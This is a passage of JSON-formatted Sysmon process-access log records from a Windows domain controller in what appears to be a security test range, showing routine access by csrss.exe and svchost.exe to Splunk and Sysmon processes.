Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2725,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-402E-5F2D-0000-001086910400}\r\nTargetProcessId: 4640\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-402E-5F2D-0000-001086910400}","TargetProcessId":"4640","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2726,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2727,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2728,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2729,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2730,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2731,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2732,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2733,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 